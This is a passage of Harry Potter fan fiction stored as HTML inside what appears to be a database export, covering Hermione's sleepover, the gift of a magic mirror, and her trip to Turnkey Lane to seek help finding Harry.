hated reliving Harry&#8217;s brush with death over and over again.&nbsp; But as she looked around at the expectant faces\nin the room, she knew that she&#8217;d never get out of it now.&nbsp; To them it wasn&#8217;t really real; it was all\njust a grand fairy tale with a happy ending.&nbsp;\nThey didn&#8217;t have to live through the pain and anguish that she did.&nbsp; They were only seeing things vicariously\nthrough her story.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well Hermione,\nare you going to tell the story or not?&#8221; Lavender asked impatiently and\nHermione could tell she was biting back her growing anger at the girl.&nbsp; It was obvious what she was thinking.&nbsp; She thought Hermione got some great joy out\nof being the center of attention because of her adventures last year. &nbsp;<i style="mso-bidi-font-style:normal">&#8220;It&#8217;s\nprobably the only reason she invited me.&nbsp;\nSo everyone could hear my story just one more time because that&#8217;s all\nI&#8217;m good for; telling the adventures of Harry Potter, because after all that&#8217;s\nwho they&#8217;re interested in.&nbsp; They don&#8217;t\nreally want to know about me, they want to know about Harry.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She sighed\nagain.&nbsp; Well if she was going to tell it,\nshe might as well start from the beginning, drag the whole thing out and make a\nreal show of it.&nbsp; That would either make\nLavender happy or make her think twice about asking Hermione to tell a\nstory.&nbsp; &#8220;Well, it really all started with\nthe troll at Halloween.&nbsp; Did I mention\nthey have gray boogers?&#8221; she added just to get the girls&#8217; reaction of &#8220;ewwwww.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She talked\nstraight through for an hour and a half not missing the slightest detail.&nbsp; The group of girls hung on her every word,\nnot daring to move as Hermione&#8217;s tale unfolded.&nbsp;\nOccasionally there would be gasps or screams as Hermione told of the\ndark creature that attacked Harry in the forbidden forest or the chessmen that\nnearly decapitated the trio.&nbsp; People\nshuddered so much when she said Voldemort&#8217;s name that she quickly reverted to\nsaying &#8220;you know who&#8221; throughout her story.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When she\nfinished, ending at the part of Harry waking up in the hospital and Sorcerer&#8217;s\nStone finally being destroyed, it was well past midnight and some of the girls\nwere already beginning to nod.&nbsp; A few lay\non pillows whispering quietly to one another while others found a quiet corner\nin the rec room to curl up with their blankets and go\nto sleep.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stood\nand headed for the kitchen.&nbsp; After all\nthe talking she did, she needed a glass of water.&nbsp; When she opened the door, she saw Amber\nsitting at the counter.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well hello.&nbsp; You girls still up?&#8221;</p>\n\n<p class="MsoNormal">&#8220;Just about to crash myself,&#8221; Hermione told her. &#8220;Most of\nthe others are doing the same.&nbsp; I just\ncame in here for a glass of water.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Amber stood.\n&#8220;I&#8217;ll get it for you.&nbsp; Just sit down for\na bit.&nbsp; I wanted to talk to you anyway.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione eyed her\nquizzically as she pulled up a chair and sat down.&nbsp; Amber busied herself with finding a glass and\npouring water as she said. &#8220;Hermione, what did you really see in the Ouija Mirror\nthis evening.&nbsp; I know you saw something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione accepted\nthe glass Amber offered her and gulped down half the water before\nresponding.&nbsp; &#8220;I don&#8217;t really want to talk\nabout it.&nbsp; It was a little\nfrightening.&nbsp; Besides it probably wasn&#8217;t\nreal.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s where\nyou&#8217;re wrong.&nbsp; I&#8217;m willing to bet that\nwhatever you saw was far more real than anything the other girls saw.&nbsp; I can tell.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Tell what?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re a very\npowerful witch, Hermione.&nbsp; All the signs\nare there.&nbsp; You&#8217;ve got real potential,\nand I think your mind is capable of a lot more than just remembering spells and\nfacts.&nbsp; Whatever it is, the mirror picked\nup on that power and magnified it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you think I\nhave some sort of rare magical gift?&nbsp;\nLike perhaps I can &#8216;see&#8217; things or something?&#8221; Hermione asked,\ndisbelieving it even as she said it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Amber laughed.\n&#8220;You&#8217;re a muggle born right, Hermione?&#8221; Hermione nodded at this and Amber\ncontinued. &#8220;My strongest subject was muggle studies, and I know all about their\npursuit of science.&nbsp; Science is to\nmuggles what magic is to us witches and wizards.&nbsp; Whenever there is something that can&#8217;t be\nexplained, muggles use science to try to explain it.&nbsp; We do the same thing with magic, believe it\nor not.&nbsp; Whenever there is something we\ncan&#8217;t explain, we try to explain it with magic.&nbsp; Well sometimes no matter how hard muggles\ntry, they can&#8217;t explain away certain things with science and sometimes no\nmatter how hard wizards try, we can&#8217;t explain certain\nthings with magic.&nbsp; No, I don&#8217;t think you\ncan &#8216;see&#8217; things or that you are doing some sort of fortune telling or anything\nlike that.&nbsp; That&#8217;s not the vibe I&#8217;m\npicking up from you.&nbsp; I just think you\nhave a special insight that you need to understand and accept.&nbsp; There is such a thing as fate, Hermione, and\nit has a funny way of giving us things we don&#8217;t know how to use.&nbsp; This is something that you&#8217;ll have to figure\nout for yourself, but here, maybe this will help.&#8221;&nbsp; She pulled the Ouija Mirror out of her pocket\nagain. &#8220;I want you to have this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione took the\nmirror, which now looked just like an ordinary hand mirror, reflecting only her\nconfused expression. &#8220;I don&#8217;t understand.&nbsp;\nHow can this help me? I mean it only works when multiple wizards\nactivate it, right and even then, you can&#8217;t be sure what kind of answers it&#8217;ll\ngive.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Amber shrugged.\n&#8220;I don&#8217;t know really. I just know that it reacted to you.&nbsp; It&#8217;s not really just an Ouija mirror, you know.&nbsp; I mean it is and it isn&#8217;t.&nbsp; The Egyptian who sold to me said it was an\nOuijigona Mirror, far more powerful.&nbsp; I\ndon&#8217;t know if that&#8217;s true or not, but still I think you should have it.&nbsp; Maybe you&#8217;ll find another use for it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stared\ndown at the mirror, remembering the image it had shown her earlier.&nbsp; Maybe Amber was right and this was fate.&nbsp; The image could have been a warning.&nbsp; If Harry was in some sort of trouble, she\nmight be able to help.&nbsp; A sudden thought\nstruck her as she began to pocket the mirror. &#8220;You don&#8217;t think Lavender will be\nmad, do you?&nbsp; You know because you gave\nme your mirror and all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I won&#8217;t tell if\nyou don&#8217;t,&#8221; Amber winked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled.\n&#8220;Good, because I don&#8217;t think I could stand for her to be any angrier with me\nthan she already is.&nbsp; You know I came to\nthis party because I wanted to show that there was more to me than just\n&#8216;Hermione the Brain&#8217; and maybe really make friends with my roommates and the\nother girls.&nbsp; But I&#8217;m beginning to think\nLavender feels that no matter what I&#8217;ll never fit in because I&#8217;m not really\npart of their group.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Amber laughed\nagain. &#8220;Hermione, I think you have that completely backwards.&nbsp; Lavender isn&#8217;t mad because you&#8217;re not part of\nthe group, she&#8217;s mad because you <i style="mso-bidi-font-style:normal">are</i>\npart of the group.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Huh?&#8221; Hermione\nwas genuinely confused.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione haven&#8217;t\nyou noticed?&nbsp; All the girls love you. &nbsp;They think you&#8217;re the most interesting person\nhere.&nbsp; They all want to know your\nopinions and hear what you have to say.&nbsp;\nI think little Lavi is just mad that you&#8217;re the\nlife of <i style="mso-bidi-font-style:normal">her</i> party; if you know what I\nmean.&nbsp; She&#8217;s, to put it mildly, jealous\nthat you&#8217;re so popular with the other girls.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I&#8217;m only\npopular because I&#8217;m friends with Harry Potter,&#8221; Hermione sighed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s not\ntrue.&nbsp; These girls like you for you.&nbsp; I&#8217;ve barely heard Harry&#8217;s name mentioned, but\nwhat I have heard is &#8216;Hermione this&#8217; and &#8216;Hermione that&#8217; and &#8216;Hermione tell us\nabout this.&#8217; They all think you&#8217;re the wickedest girl at this party.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You think so?&#8221;\nHermione smiled at the thought.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m positive.&nbsp; These girls have definitely seen a whole new\nside of you.&nbsp; Don&#8217;t worry about Lavi, she&#8217;ll get over it soon enough.&nbsp; She can just be a little spoiled sometimes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nsuppressed a giggle as she slid out of her chair.&nbsp; &#8220;Thanks for&#8230; everything.&#8221;</p>\n\n<p class="MsoNormal">Amber smiled. &#8220;No problem.&nbsp;\nI have to look out for the future head girl, don&#8217;t I?&#8221; They shared a\nlaugh at that comment.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione crept\nback into the rec room and found that almost everyone\nwas sound asleep or dozing off.&nbsp; She\ngrabbed her pillow and a spare blanket and curled up in a corner near Mandy.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The next morning,\nAmber woke them all up surprisingly early.&nbsp;\n&#8220;Come on now girlies, I&#8217;ve got to shove breakfast down your throats\nbefore you shove off,&#8221; she said with a corny grin.&nbsp; No one found the joke amusing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione hated\nher hair in the morning, it always looked even bushier than normal but when she\nlooked around at the other girls, she realized she wasn&#8217;t alone when it came\ndown to looking bad in the morning.&nbsp;\nEveryone made self-degrading comments about how they looked as they\ngathered in the sitting room to eat breakfast.&nbsp;\nHermione was content to remain quiet during this but then suddenly\nremembered something.&nbsp; She glanced at\nAmber, recalling their conversation from the previous night and decided to see\nif she could do something to ease Lavender&#8217;s jealousy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well if you\nthink this is bad, you should have seen me end of last term,&#8221; she started\nloudly, cutting across Lisa. &#8220;I mean I was a wreak for\na few days there while Harry was in the hospital wing.&nbsp; I definitely wasn&#8217;t looking or acting my\nbest, that&#8217;s for sure.&nbsp; It&#8217;s a good thing\nI had Lavender and Parvati for roommates,&#8221; she said pointedly. &#8220;They were ever\nso patient with me, no matter what kind of foul mood I was in, they stuck by\nme.&nbsp; They didn&#8217;t hold my terrible\nattitude against me, not once.&nbsp; I was\nhorrible to them for those few days and they still tried to help me.&#8221; Alright,\nso maybe she was exaggerating just a little but she felt they did deserve this\nmuch.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her plan worked\nwell. &#8220;Oh Lavender, you&#8217;re so kind and caring,&#8221; Megan told her and the others\njoined in with praise for both Lavender and Parvati.&nbsp; They were both blushing unashamedly and\nHermione could tell this had definitely softened Lavender&#8217;s attitude, which in\nall respects was a good thing considering they did have many more years\ntogether.</p>\n\n<p class="MsoNormal">Within an hour their bags were packed and it was 9:00 AM,\ntime to go. One by one, each girl used floo powder to transport themselves back\nhome.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Remember to say\n&#8216;the Brocklehurst&#8217;s&#8217; when you step into the fire,&#8221; Mandy reminded her as she\ntook a pinch of floo powder to prepare for her turn.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\ngroaned.&nbsp; She definitely did not like\ntraveling by floo powder and it was bad enough getting to Lavender&#8217;s, she just\nhopped she&#8217;d be able to pronounce her destination correctly and not get sent to\nthe wrong grate.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Just before she\ntook her turn, Hermione was stopped by a hand on her shoulder.&nbsp; It was Amber. &#8220;Good luck at school next\nyear.&nbsp; Call me crazy, but I have a\nfeeling that last term wasn&#8217;t the end of your adventures.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I honestly\nhope you are crazy if that&#8217;s your prediction.&nbsp;\nNothing could top that, and I hope nothing ever does.&nbsp; But thanks for everything still.&#8221;&nbsp; Hermione tossed her floo powder into the\nalready green fire.&nbsp; She stepped\ntentatively into the grate and shouted &#8220;The Brocklehurst&#8217;s&#8221; and was gone in a\nflash of emerald smoke.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Amber stared at\nthe fire for a moment longer. &#8220;No Hermione, you are far from having your last\nadventure.&nbsp; That much I&#8217;m sure of.&#8221; She\nturned and strolled towards the rec room to help\nLavender and Penny finish cleaning.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(241, 3, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Author&#8217;s Note:</b>&nbsp; Oh Hey, look what&#8217;s back.&nbsp; Now I bet you&#8217;re asking &#8220;Zimmeron, what made\nyou bring your fan fic back after all the plagiarism and stuff&#8221; and my answer\nis.&nbsp; MY BOOK IS BEING PUBLISHED!&nbsp; I&#8217;m in such an incredibly good mood now, that\nI don&#8217;t care if some idiot is stealing my work, because soon my novel will be\navailable.&nbsp; So since I&#8217;m in such an\nincredibly good mood, I decided to share my euphoric feeling with all of you\nand continue my fan fiction.</p>\n\n<p class="MsoNormal">If none of this makes any sense or you just don&#8217;t care, then\njust read the chapter.</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; Hermione is becoming increasingly\nnervous.&nbsp; No sign of Harry, bad news from\nRon.&nbsp; Desperate times call for\nresourceful Grangers.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here\n---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione lie in\nbed, staring up at the ceiling.&nbsp; It was the\nMonday after Harry&#8217;s birthday and she still hadn&#8217;t heard anything from\nhim.&nbsp; She was reading another letter that\nshe&#8217;d just gotten from Ron.&nbsp; He&#8217;d written\nit on Saturday.&nbsp; The decrepit owl, Erroll,\nhad already left.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&#8220;Hermione,</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">We&#8217;re getting really worried over\nhere.&nbsp; No one&#8217;s heard from Harry but\nyesterday Dad said that Harry got an official warning from the Ministry of\nMagic for improper use of magic by a minor.&nbsp;\nI think something&#8217;s happened to him but we can&#8217;t be sure of course.&nbsp; Still after what happened last year with you\nknow who, there&#8217;s no telling what could be going on.&nbsp; My brothers and I want to go get him.&nbsp; We&#8217;ve already got a way to do it but we&#8217;re\nnot sure where he is.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">If you know a way to find him or can\nfigure one out, let us know so we can get to him.&nbsp; I figure if anyone can find Harry, you\ncan.&nbsp; Let us know what you find out, and\nsoon.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">Ron&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Now she was\nreally worried.&nbsp; What if Harry was in\nsome kind of trouble? &nbsp;&nbsp;What if what she\nsaw in the mirror was true?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The Ouijigona\nMirror&#8230;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Amber had said\nshe thought it could help her, but Hermione didn&#8217;t see how.&nbsp; At best it was the wizarding version of a\nmuggle &#8220;magic 8 ball&#8221; and it only worked when three or more witches or wizards\nused it.&nbsp; What possible good could it\ndo?&nbsp;&nbsp; Still, she couldn&#8217;t help shaking\nthe feeling that Amber may have been right.&nbsp;\nMaybe she had seen something important.&nbsp;\nBut if she did, what did it mean?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Bloody hell,&#8221;\nshe muttered to herself as she rolled off the bed.&nbsp; &#8220;This is ridiculous.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Here she was,\nHermione Granger, lying in bed like a lost little lamb because of some supposed\n&#8220;vision&#8221; she got from a 2 galleon party favor.&nbsp;\nShe was a Granger.&nbsp; Grangers don&#8217;t\nmope, they take action and she knew exactly what she had to do.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She snatched the\nbag from beside her desk and the wand off her dresser.&nbsp; Then she opened her desk drawer and started\ntearing through the pile of papers.&nbsp;\nFinally she found what she was looking for, a pamphlet she&#8217;d gotten last\nyear from the Ministry of Magic seminar.&nbsp;\nInside, among other things, was a wizarding map of London.&nbsp; She flipped to it quickly and scanned the\npage.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There it was; the\nNational Wizarding library.&nbsp; A small\nbubble appeared over the dot that indicated the library and it read, &#8220;The\nNational Wizarding Library is the largest repository of wizarding knowledge in\nall of Europe.&nbsp; It is seven stories tall\nand contains more than 400,000 books and 100,000 periodicals and there are at\nleast thirty librarians on staff at any given time.&nbsp; Membership is free to underage and fully\nqualified wizards with restricted membership available to muggles with a witch\nor wizard sponsors.&nbsp; Dark Arts sections\nonly available to fully qualified wizards.&nbsp;\nOpen 7 AM to 1 AM everyday, except holidays.&nbsp; Easily accessible by floo or apparition\nduring normal business hours.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; That was exactly\nwhat she needed.&nbsp; If there was a way to\nhelp Harry, she&#8217;d find it in the largest wizarding library on the continent.&nbsp; Now all she had to do was get there.&nbsp; But how would she get into London without her\nparents, who were of course already at work.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She thought for a\nmoment and then flipped frantically through the pamphlet again until she found\na section marked &#8220;Wizarding Communities.&#8221;&nbsp;\nJust as she suspected there were a few paragraphs on the local wizarding\nneighborhood Turnkey Lane, including instructions on how to reach it from any\nmuggle street in her area.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She read them aloud.\n&#8220;Start at any street corner and turn left, then right, then right, then left,\nthen left, then right, then left.&nbsp; So\nlong as you have your wand with you, you&#8217;ll reach Turnkey Lane.&nbsp; If you hit a dead end, you&#8217;ve made a wrong\nturn.&nbsp; Start again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Well that sounded\neasy enough.&nbsp; If she could get to Turnkey\nLane, she could find the Brocklehurst&#8217;s house and ask Mandy to let her floo to\nthe library.&nbsp; Hermione threw the pamphlet\nin her bag and headed downstairs, grabbing her house keys off the wall before\nheading determinedly out the front door, slamming it behind her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She headed quickly\ntowards the nearest street sign and turned left down the adjacent street.&nbsp; As she started towards the next sign she\nglanced up at the sky; it was becoming cloudy, &nbsp;like it was going to rain.&nbsp; She hoped she&#8217;d make it to Mandy&#8217;s house\nbefore that happened.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She turned right.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<i style="mso-bidi-font-style:normal">What happens if the Brocklehursts aren&#8217;t\nhome?&nbsp; Then what do I do?&#8221; </i>she\nthought.&nbsp; She could always try another\nwizarding family.&nbsp; Was it safe to trust\nwitches and wizards she didn&#8217;t know?&nbsp; She\nhad a feeling that even though the wizarding community was close knit, that\ndidn&#8217;t mean she could trust every one she met.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Another right.</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where do I start at the wizarding\nlibrary?&#8221;</i> she mussed. <i style="mso-bidi-font-style:normal">&#8220;I guess first\nI need to find out where exactly Harry lives.&nbsp;\nWhat&#8217;s the name of the street where his aunt and uncle live?&nbsp; He talks about it all the time, I should\nremember this.&nbsp; I think it&#8217;s </i><i style="mso-bidi-font-style:normal">Privet Drive</i><i style="mso-bidi-font-style:normal">.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Left.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The clouds seemed\nto be getting thicker and more menacing.&nbsp;\nEven though it was only noon, the sky was already very dark.&nbsp; She was beginning to wish she had bought a\ncoat with her.&nbsp; She picked up her pace.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Right.</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course, I&#8217;m going to have to find a\nnon-magical way to help Harry if he&#8217;s in any sort of danger. Then again, I\ndon&#8217;t know what could have happened to him.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Left.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The first drops\nof rain were already starting to hit her head.&nbsp;\nShe broke out into a brisk jog.&nbsp;&nbsp;\nShe only had a few more turns to go.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Left.</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wait a minute!&#8221;</i> Hermione skidded to a\nhalt as she saw that she was approaching a dead end. &#8220;Just great!&#8221; she sighed\nin exasperation.&nbsp; It was raining harder\nnow.&nbsp; She must have taken a wrong\nturn.&nbsp; She was so caught up in her\nthoughts, she didn&#8217;t even realize it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She turned around\nand headed for the street sign. She&#8217;d just have to start over.&nbsp; She made a left and started down the street\nagain, trying not to lose her footing in the rain.&nbsp; She was getting drenched.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Right.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It occurred to\nher that she had no idea where she was.&nbsp;\nShe knew her neighborhood fairly well in theory but had never really\nbeen any place other than the local library and her school.&nbsp; After all, she didn&#8217;t have any friends\nnearby.&nbsp; She wondered if she&#8217;d be able to\nget back home after taking so many twists and turns.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Right.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Now that she\nthought about it, even if she found out where Harry lived, how were Ron and his\nbrothers going to get there?&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Left.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;So all I need is a non-magical way of\nfinding Harry and a non-magical way of getting him out of whatever trouble he\nmight be in.&nbsp; Simple enough,&#8221;</i> she\nthought to herself with a grimace.&nbsp; Ron\nmust have thought she was a miracle worker.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Left.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Would she even\nhave enough time?&nbsp; She wanted to get back\nhome before her parents.&nbsp; There was no\nway she was going to tell them that she went off to London on a whim, even if\nit was by floo. <i style="mso-bidi-font-style:normal">&#8220;This is the second time\nthis summer I&#8217;ve snick away without my parents knowing.&nbsp; This is all Ron&#8217;s fault&#8230; his rotten\ninfluence.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Right.</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Then again, this is Ron&#8217;s idea.&nbsp; If it wasn&#8217;t for him and his brothers, I\nwouldn&#8217;t even have a way to help Harry.&nbsp;\nAll I have to do is get the information to him and then&#8230;&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Left.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ahhh!&#8221; Hermione\nwent tumbling forward.&nbsp; It was if the\nearth moved underneath her.&nbsp; She quickly\npicked herself up.&nbsp; It wasn&#8217;t\nraining.&nbsp; In fact the sun was shinning\nbrightly and there were no clouds in sight.&nbsp;\nShe looked around and realized she was no longer in her\nsubdivision.&nbsp; It was definitely Turnkey\nLane; she made it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It didn&#8217;t take\nher long to reach the familiar lime green house.&nbsp; Mr. Brocklehurst&#8217;s car wasn&#8217;t in the driveway\nbut she hoped Mandy or her mother were still home.&nbsp; She knocked on the door.&nbsp; A few minutes later, Mandy answered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione?&#8221; she\nhad a confused look on her face. &#8220;Uh, hello.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry to drop in\non you like this,&#8221; Hermione apologized quickly. &#8220;But I really need a\nfavor.&nbsp; Can I come in?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, of course,&#8221;\nMandy stepped aside to let her in. &#8220;You&#8217;re soaked, what happened?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It was raining\nwhere I came from; I guess that doesn&#8217;t affect this place.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you want a\ntowel or something?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, I don&#8217;t have\na lot of time.&nbsp; Can I use your\nfireplace?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Many gave her\nanother confused look. &#8220;You want to warm up?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No I need to\nfloo to the National Wizarding Library.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The\nlibrary?&nbsp; I don&#8217;t understand.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s\ncomplicated,&#8221; Hermione said in frustration.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mandy seemed to\nrealize the urgency of the situation. &#8220;Okay, no problem.&#8221; She pulled a jar from\natop the fireplace. &#8220;Here you go.&#8221; She held it out to Hermione.</p>\n\n<p 